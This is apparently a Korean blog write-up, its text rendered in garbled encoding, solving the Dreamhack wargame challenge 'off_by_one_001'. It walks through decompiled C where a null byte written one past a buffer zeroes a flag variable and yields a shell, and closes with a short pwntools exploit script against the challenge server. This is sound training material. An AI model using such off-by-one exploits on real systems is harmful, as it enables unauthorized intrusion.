상세 컨텐츠

λ³Έλ¬Έ 제λͺ©

[Dreamhack] off_by_one_001

SYSTEM HACKING/Dreamhack

by koharin 2024. 2. 19. 16:15

λ³Έλ¬Έ

728x90
λ°˜μ‘ν˜•

πŸ”  μ½”λ“œ 뢄석

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[20]; // [esp+0h] [ebp-18h] BYREF
  int v5; // [esp+14h] [ebp-4h]

  v5 = 1;
  initialize();
  printf("Name: ");
  read_str(v4, 20);
  printf("Are you baby?");
  if ( v5 )
  {
    puts("Ok, chance: ");
    read(0, v4, 20);
  }
  else
  {
    get_shell();
  }
  return 0;
}

|v4(0x18)|v5(0x4)|SFP|RET|

v5이 0이면 get_shell ν•¨μˆ˜ μ‹€ν–‰λ˜μ–΄μ„œ μ‰˜ 얻을 수 있음.

근데 v5=1둜 μ„€μ •λ˜μ–΄ 있기 λ•Œλ¬Έμ— 이걸 μ‘°μž‘ν•΄μ•Ό 함

int __cdecl read_str(int a1, int a2)
{
  int result; // eax
  int v3; // [esp+0h] [ebp-4h]

  v3 = read(0, a1, a2);
  printf("%d", v3);
  result = v3 + a1;
  *(_BYTE *)(v3 + a1) = 0;
  return result;
}

 

v3 = read(0, v4, 20) ⇒ read() ν•¨μˆ˜λŠ” 성곡 μ‹œ μˆ˜μ‹ ν•œ λ°”μ΄νŠΈμˆ˜(20), μ‹€νŒ¨ μ‹œ -1

|result(0x4)|v3(0x4)|SFP|RET|

result = v3 + a1; (v4μ£Όμ†Œ+20) ⇒ mainν•¨μˆ˜μ—μ„œ v5 λ³€μˆ˜ μœ„μΉ˜μ΄λ‹€.

*(BYTE *)(v3 + a1) = 0; ⇒ v5 μœ„μΉ˜μ— 0 λ„£μŒ ⇒ 이후 if(v5)μ—μ„œ v5κ°€ 0이 λ˜μ–΄ μ‰˜ 얻을 수 있음

λ”°λΌμ„œ 별닀λ₯Έ μ‘°μž‘ 없이 처음 μž…λ ₯ μ‹œ 20λ°”μ΄νŠΈ μž…λ ₯ν•˜λ©΄ v5 값이 0으둜 μ„€μ •λ˜μ–΄ μ‰˜ μ‹€ν–‰ν•  수 μžˆλ‹€.

μ‰˜ μ‹€ν–‰ν•˜κ³  cat flag둜 ν”Œλž˜κ·Έ 얻을 수 μžˆλ‹€.

 

πŸ“ μ΅μŠ€ν”Œλ‘œμž‡ μ½”λ“œ

#!/usr/bin/python3
from pwn import *

p = remote('host3.dreamhack.games', 23831)

payload = 'A'*(0x18-0x4)

p.sendafter(b'Name: ', payload)

p.interactive()

728x90
λ°˜μ‘ν˜•

'SYSTEM HACKING > Dreamhack' μΉ΄ν…Œκ³ λ¦¬μ˜ λ‹€λ₯Έ κΈ€

[Dreamhack] Return to Shellcode  (0) 2024.03.03
[Dreamhack] Return Address Overwrite  (0) 2024.03.01
[Dreamhack] bof  (0) 2024.02.16
[Dreamhack] pwn-library  (0) 2024.01.10
[Dreamhack] shell-basic  (1) 2024.01.10

κ΄€λ ¨κΈ€ 더보기